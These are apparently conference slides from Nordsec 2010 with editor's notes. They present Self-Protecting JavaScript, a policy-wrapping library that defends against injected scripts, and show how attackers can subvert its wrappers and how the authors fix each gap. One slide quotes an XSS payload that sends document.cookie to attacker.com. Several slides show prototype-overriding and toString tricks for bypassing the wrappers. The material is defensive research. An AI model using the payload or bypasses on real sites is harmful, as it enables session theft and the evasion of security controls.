Nordsec 2010 
Espoo, Finland 
October 29, 2010 
Safe Wrappers and Sane Policies 
for Self Protecting JavaScript* 
Jonas Magazinius, Phu H. Phung, and David Sands 
Chalmers, Sweden 
* This work has been accepted and presented at OWASP AppSec Research ’10
The problems 
• Injected (untrusted) JavaScript code (e.g.XSS) 
– A malicious user (the attacker) injects potentially 
dangerous JavaScript code into a webpage via 
data entry in the webpage, e.g.: 
• blog 
• forum 
• web-mail 
• Third party scripts (e.g. advertisement, 
mashup web applications) 
• Buggy code
XSS attack example 
<B C=">" 
onmouseover="alert(document.location='http://attacker.com/cookies?'+document.cookie)" 
X="<B "> Move your mouse here </B> 
This was a real attack exploited to the 
open source forum phpBB 2.0.18
Difficult issues 
• Filter mechanism problem: 
– Parser mismatch: filter does not always parse in 
the same way as browser 
• Dynamic scripts problematic, e.g. 
document.write, eval, ... 
<script> 
document.write(‘<scr’); 
document.write(‘ipt> malic’); 
var i= 1; 
document.write(‘ious code; </sc’); 
document.write(‘ript>’); 
</script> 
<script> malicious code; </script>
The landscape of JavaScript security 
mechanisms 
• Server filtering, but parser mismatch problem 
• Language subset, sandboxing 
• Behavioral sandboxing 
– Code transformation 
– No code transformation 
• Browser modification 
• No browser modification
Our approach: 
Self-Protecting JavaScript 
• “inline” the policy into the JavaScript code so 
that the code becomes self-protecting 
• The policy enforcement is implemented in a 
lightweight manner 
– does not require browser modification 
– non invasive: the original code (and any dynamically 
generated code) is not syntactically modified, no code 
parser or modification 
– its implementation is a small and simple aspect-oriented 
programming –style library
The policies 
• The enforcement mechanism is security 
reference monitor-based 
• Ensure safety property of program execution 
• Examples: 
• Only allow URI in a white-list when sending by 
XMLHttpRequest 
• Do not allow send after cookie read 
• Limit the number of alerts to 2
A policy example 
var alertPolicy = function(args, proceed) { 
if (alertCount < 2){ 
alertCount++; 
return proceed(); 
}else policylog(‘alert is denied'); 
}; 
wrap(window, 'alert‘, alertPolicy);
Enforcement method 
JavaScript execution environment 
(e.g. browsers) 
Native implementations 
alert 
implementation 
code pointers User 
functions 
alert(..) window.alert 
unique 
alert 
wrapper 
(+policy code) 
Attacker code 
alert = 
function(){...}; 
alert 
wrapper 
Phu H. Phung, David Sands, Andrey Chudnov – cse.chalmers.se Dagstuhl 09141, 2 April 2009
Deployment 
• Structure of a webpage containing policy 
enforcement code 
• Policies are located in the first script tag 
– Policy enforcement is applied for the rest of code 
The enforcement code can be deployed 
anywhere between client and server: server 
side, proxy or plug-in 
Dagstuhl 09141, 2 April 2009
Breaking and fixing the library 
WRAPPER POLICIES 
Subversion 
Subversion 
Subversion 
Subversion 
Aliasing 
Aliasing 
Declarativity
Subversion 
Browser environment 
WRAPPER 
Untrusted code
Function and object subversion 
Object 
• prototype • valueOf( ) 
Function 
• constructor 
• prototype 
• apply( ) 
• call( ) 
{function instance} 
• constructor 
Modifying inherited 
function subverts expected 
behaviour
Function and Object Subversion 
Wrapper code: 
original.apply(this,args) 
Fixing the wrapper: 
• original.apply=apply 
• Rewrite wrapper to 
remove dependency 
Subversion: 
var org; 
Function.prototype.apply = 
Wrapper relies on function(){ org = this} 
inherited function 
Attacker can redefine this 
function and steal original
Global setter subversion 
• Setters: 
– When this property is set, execute this function 
• obj.defineSetter(‘abc’,function(x){ alert(x) }) 
• obj.abc = ‘123’; // alerts 123 
• Global setters 
– Is inherited by all objects 
– Is executed even upon instantiation of new 
objects(!)
Global setter subversion 
function x() { 
… 
var x = {secret: 1}; 
… 
} 
Function closure: Global setter for “secret”: 
function setSecret(sec) { 
// We have your secret! 
alert(sec); 
}
Global Setter subversion 
Wrapper code 
policy({args: arguments, 
proceed: original}) 
Fixing the wrapper: 
• No temporary objects? 
• Use “safe” objects… 
• Change JavaScript: Don’t 
execute setters upon 
instantiation 
Subversion 
var org; 
Object.prototype. 
__defineSetter__(‘proceed’, 
Wrapper uses temporary object function(o) { org = o }) 
to pass built-in 
Attacker defines a 
global setter for the 
proceed property and 
steal the built-in
Caller subversion 
• The caller property of a function refers back to 
the function that called it – the previous function 
in the call stack 
– If function A executes function B, then B.caller refer 
to A 
– B can now access and modify part of A’s private 
information, such as the arguments it was passed 
• Some built-ins will call external user-defined 
functions by design 
• Others will do it implicitly 
• The wrapper can also trigger implicit calls
Caller subversion (built-ins) 
• Example of call by design: 
[1,2,3].map(function(){}) 
• Takes function as an argument 
• Can not be reliably wrapped – not a problem 
• Example of implicit call 
obj.toString = function x(){return alert= x.caller} 
alert(obj) 
• Alert will execute the function which will restore alert 
• Need to know an upper bound on potential implicit calls 
• Remove any user defined functions on affected properties
Caller subversion (wrapper) 
• We can prevent access by using a trap 
– Recursive functions overwrite the caller property 
with itself – impossible to reach below in the call 
stack 
– By calling the trap whenever we do a sensitive 
access we can protect the integrity of the wrapper 
function trap(f, b) { 
if(b) f() 
else trap(f, true) 
}
Breaking and fixing the library 
WRAPPER POLICIES 
Subversion 
Subversion 
Subversion 
Subversion 
Aliasing 
Aliasing 
Declarativity
Static aliases 
window.alert 
alert 
Window.prototype.alert 
window.window.alert 
window.__proto__.alert constructor.prototype.alert
Inheritance graph 
Object.prototype.toString 
Window.prototype.toString 
window.toString 
Function.prototype.toString 
alert.toString 
The constructor 
property points 
back to the 
parent object
Dynamic aliases 
alert alert 
wrapper 
alert
Dynamic aliases protection 
• Access to other windows is easy to prevent 
• Two ways of accessing content in an iframe 
– contentWindow property 
• Access can be controlled by policy 
– window.frames array 
• Access can be controlled to each index of the array, but not 
the array as a whole 
• How many indices to control? - “Enough.” 
– The problem is that we don’t know this when we load the page 
– Where enough is as many as could be included in the page 
– Dynamically check number of indices after each operation that 
might result in the creation of an iframe
Breaking and fixing the library 
WRAPPER POLICIES 
Subversion 
Aliasing 
Aliasing 
Declarativity
Function and Object Subversion for 
Policies 
Policy code 
var whitelist = {"good.com":true } 
if(whitelist[address.substr(...))]) 
Policy expects 
certain behavior 
Fixing subversion 
• hasOwnProperty() 
• Use “safe” objects… 
Subversion 
Object.prototype[‘evil.com’]= true 
String.prototype.substr = 
function() { return ‘good.com’; } 
The policy writer should not have 
to remember this… 
Attacker can easily 
change the expected 
behavior
“Safe” objects 
• safe() function 
– Creates a blank object which does not inherit 
from the prototype-chain 
• {__proto__: null} 
– Recursively copies all fields from the input object 
to the newly created copy 
– Sometimes inheritance is required 
• Restore methods from safe copies
Breaking and fixing the library 
WRAPPER POLICIES 
Subversion 
Declarativity
Non-declarative vs. declarative policies 
Policy code 
if (whitelist[address]) 
img.src = address; 
Fixing problem 
Policy declare which types it 
expects in a type language and 
monitor enforces it 
Attack 
x = {toString: function() { 
this.toString= 
function()’bad.com’; 
return ‘good.com’; 
} 
} 
Policy code expect 
address to be a string 
Attacker can pass a statefull 
object that pretends to be a 
good string, but then 
changes into a bad string
WRAPPER 
Declarative policies 
Policy 
Copy Combine 
Built-in 
x: ‘abc’ 
y: {…} 
z: 1 
x: ‘string’ 
y: ‘number’ 
x: ‘abc’ 
y: 0 
x: ‘abc’ 
y: 123 
x: ‘abc’ 
y: 123 
z: 1 
Copy values and 
coerce to the type 
specified by the 
policy 
Policy can inspect and 
modify values 
The output of the 
policy is merged with 
the original input
Breaking and fixing the library 
WRAPPER POLICIES 
Declarativity
Summary 
• Our approach is to control and modify the behaviour 
of JavaScript by monitoring the code to make it self-protecting 
– No browser modifications 
– Non-invasive 
• No rewriting of the untrusted code 
• Solve the problem of dynamic scripts 
• Avoiding the need for extensive runtime code transformation 
• Possible vulnerabilities of the library are addressed and 
fixed 
• Typing for arguments to prevent malicious parameters 
Dagstuhl 09141, 2 April 2009
Further work 
• Case studies for particular web applications 
• Fully develop the framework, including 
treating mashups, policies that span multiple 
pages 
• Authoring policies: 
– Not easy for the programmer to ensure that all 
objects are safe 
• Strong motivation for defining a policy language for 
authoring policies which are well behaved.
Thank you!
Jonas Magazinius, Phu H. Phung, and David Sands 
Chalmers, Sweden 
Safe Wrappers and Sane Policies 
for Self Protecting JavaScript 
http://www.cse.chalmers.se/~phung/projects/jss

Safe Wrappers and Sane Policies for Self Protecting JavaScript

  • 1.
    Nordsec 2010 Espoo,Finland October 29, 2010 Safe Wrappers and Sane Policies for Self Protecting JavaScript* Jonas Magazinius, Phu H. Phung, and David Sands Chalmers, Sweden * This work has been accepted and presented at OWASP AppSec Research ’10
  • 2.
    The problems •Injected (untrusted) JavaScript code (e.g.XSS) – A malicious user (the attacker) injects potentially dangerous JavaScript code into a webpage via data entry in the webpage, e.g.: • blog • forum • web-mail • Third party scripts (e.g. advertisement, mashup web applications) • Buggy code
  • 3.
    XSS attack example <B C=">" onmouseover="alert(document.location='http://attacker.com/cookies?'+document.cookie)" X="<B "> Move your mouse here </B> This was a real attack exploited to the open source forum phpBB 2.0.18
  • 4.
    Difficult issues •Filter mechanism problem: – Parser mismatch: filter does not always parse in the same way as browser • Dynamic scripts problematic, e.g. document.write, eval, ... <script> document.write(‘<scr’); document.write(‘ipt> malic’); var i= 1; document.write(‘ious code; </sc’); document.write(‘ript>’); </script> <script> malicious code; </script>
  • 5.
    The landscape ofJavaScript security mechanisms • Server filtering, but parser mismatch problem • Language subset, sandboxing • Behavioral sandboxing – Code transformation – No code transformation • Browser modification • No browser modification
  • 6.
    Our approach: Self-ProtectingJavaScript • “inline” the policy into the JavaScript code so that the code becomes self-protecting • The policy enforcement is implemented in a lightweight manner – does not require browser modification – non invasive: the original code (and any dynamically generated code) is not syntactically modified, no code parser or modification – its implementation is a small and simple aspect-oriented programming –style library
  • 7.
    The policies •The enforcement mechanism is security reference monitor-based • Ensure safety property of program execution • Examples: • Only allow URI in a white-list when sending by XMLHttpRequest • Do not allow send after cookie read • Limit the number of alerts to 2
  • 8.
    A policy example var alertPolicy = function(args, proceed) { if (alertCount < 2){ alertCount++; return proceed(); }else policylog(‘alert is denied'); }; wrap(window, 'alert‘, alertPolicy);
  • 9.
    Enforcement method JavaScriptexecution environment (e.g. browsers) Native implementations alert implementation code pointers User functions alert(..) window.alert unique alert wrapper (+policy code) Attacker code alert = function(){...}; alert wrapper Phu H. Phung, David Sands, Andrey Chudnov – cse.chalmers.se Dagstuhl 09141, 2 April 2009
  • 10.
    Deployment • Structureof a webpage containing policy enforcement code • Policies are located in the first script tag – Policy enforcement is applied for the rest of code The enforcement code can be deployed anywhere between client and server: server side, proxy or plug-in Dagstuhl 09141, 2 April 2009
  • 11.
    Breaking and fixingthe library WRAPPER POLICIES Subversion Subversion Subversion Subversion Aliasing Aliasing Declarativity
  • 12.
    Subversion Browser environment WRAPPER Untrusted code
  • 13.
    Function and objectsubversion Object • prototype • valueOf( ) Function • constructor • prototype • apply( ) • call( ) {function instance} • constructor Modifying inherited function subverts expected behaviour
  • 14.
    Function and ObjectSubversion Wrapper code: original.apply(this,args) Fixing the wrapper: • original.apply=apply • Rewrite wrapper to remove dependency Subversion: var org; Function.prototype.apply = Wrapper relies on function(){ org = this} inherited function Attacker can redefine this function and steal original
  • 15.
    Global setter subversion • Setters: – When this property is set, execute this function • obj.defineSetter(‘abc’,function(x){ alert(x) }) • obj.abc = ‘123’; // alerts 123 • Global setters – Is inherited by all objects – Is executed even upon instantiation of new objects(!)
  • 16.
    Global setter subversion function x() { … var x = {secret: 1}; … } Function closure: Global setter for “secret”: function setSecret(sec) { // We have your secret! alert(sec); }
  • 17.
    Global Setter subversion Wrapper code policy({args: arguments, proceed: original}) Fixing the wrapper: • No temporary objects? • Use “safe” objects… • Change JavaScript: Don’t execute setters upon instantiation Subversion var org; Object.prototype. __defineSetter__(‘proceed’, Wrapper uses temporary object function(o) { org = o }) to pass built-in Attacker defines a global setter for the proceed property and steal the built-in
  • 18.
    Caller subversion •The caller property of a function refers back to the function that called it – the previous function in the call stack – If function A executes function B, then B.caller refer to A – B can now access and modify part of A’s private information, such as the arguments it was passed • Some built-ins will call external user-defined functions by design • Others will do it implicitly • The wrapper can also trigger implicit calls
  • 19.
    Caller subversion (built-ins) • Example of call by design: [1,2,3].map(function(){}) • Takes function as an argument • Can not be reliably wrapped – not a problem • Example of implicit call obj.toString = function x(){return alert= x.caller} alert(obj) • Alert will execute the function which will restore alert • Need to know an upper bound on potential implicit calls • Remove any user defined functions on affected properties
  • 20.
    Caller subversion (wrapper) • We can prevent access by using a trap – Recursive functions overwrite the caller property with itself – impossible to reach below in the call stack – By calling the trap whenever we do a sensitive access we can protect the integrity of the wrapper function trap(f, b) { if(b) f() else trap(f, true) }
  • 21.
    Breaking and fixingthe library WRAPPER POLICIES Subversion Subversion Subversion Subversion Aliasing Aliasing Declarativity
  • 22.
    Static aliases window.alert alert Window.prototype.alert window.window.alert window.__proto__.alert constructor.prototype.alert
  • 23.
    Inheritance graph Object.prototype.toString Window.prototype.toString window.toString Function.prototype.toString alert.toString The constructor property points back to the parent object
  • 24.
    Dynamic aliases alertalert wrapper alert
  • 25.
    Dynamic aliases protection • Access to other windows is easy to prevent • Two ways of accessing content in an iframe – contentWindow property • Access can be controlled by policy – window.frames array • Access can be controlled to each index of the array, but not the array as a whole • How many indices to control? - “Enough.” – The problem is that we don’t know this when we load the page – Where enough is as many as could be included in the page – Dynamically check number of indices after each operation that might result in the creation of an iframe
  • 26.
    Breaking and fixingthe library WRAPPER POLICIES Subversion Aliasing Aliasing Declarativity
  • 27.
    Function and ObjectSubversion for Policies Policy code var whitelist = {"good.com":true } if(whitelist[address.substr(...))]) Policy expects certain behavior Fixing subversion • hasOwnProperty() • Use “safe” objects… Subversion Object.prototype[‘evil.com’]= true String.prototype.substr = function() { return ‘good.com’; } The policy writer should not have to remember this… Attacker can easily change the expected behavior
  • 28.
    “Safe” objects •safe() function – Creates a blank object which does not inherit from the prototype-chain • {__proto__: null} – Recursively copies all fields from the input object to the newly created copy – Sometimes inheritance is required • Restore methods from safe copies
  • 29.
    Breaking and fixingthe library WRAPPER POLICIES Subversion Declarativity
  • 30.
    Non-declarative vs. declarativepolicies Policy code if (whitelist[address]) img.src = address; Fixing problem Policy declare which types it expects in a type language and monitor enforces it Attack x = {toString: function() { this.toString= function()’bad.com’; return ‘good.com’; } } Policy code expect address to be a string Attacker can pass a statefull object that pretends to be a good string, but then changes into a bad string
  • 31.
    WRAPPER Declarative policies Policy Copy Combine Built-in x: ‘abc’ y: {…} z: 1 x: ‘string’ y: ‘number’ x: ‘abc’ y: 0 x: ‘abc’ y: 123 x: ‘abc’ y: 123 z: 1 Copy values and coerce to the type specified by the policy Policy can inspect and modify values The output of the policy is merged with the original input
  • 32.
    Breaking and fixingthe library WRAPPER POLICIES Declarativity
  • 33.
    Summary • Ourapproach is to control and modify the behaviour of JavaScript by monitoring the code to make it self-protecting – No browser modifications – Non-invasive • No rewriting of the untrusted code • Solve the problem of dynamic scripts • Avoiding the need for extensive runtime code transformation • Possible vulnerabilities of the library are addressed and fixed • Typing for arguments to prevent malicious parameters Dagstuhl 09141, 2 April 2009
  • 34.
    Further work •Case studies for particular web applications • Fully develop the framework, including treating mashups, policies that span multiple pages • Authoring policies: – Not easy for the programmer to ensure that all objects are safe • Strong motivation for defining a policy language for authoring policies which are well behaved.
  • 35.
  • 36.
    Jonas Magazinius, PhuH. Phung, and David Sands Chalmers, Sweden Safe Wrappers and Sane Policies for Self Protecting JavaScript http://www.cse.chalmers.se/~phung/projects/jss

Editor's Notes

  • #17 Explain mechanism - Setters allow user to inject code into secure scope - trusted code fooled to invisibly call untrusted code
  • #23 Limitation: Shared state across frames Static
  • #25 Inheritance graph - Picture - Code?
  • #27 Restrict functionality of iframes and frames Window indices
  • #29 www paper?? Safe function! (detach) recursively copies fields and sets proto to null
  • #32 References: Sergio Maffeis (S&P 2010) Simple solution in previous paper The problem is still being exploited Solution is a typelanguage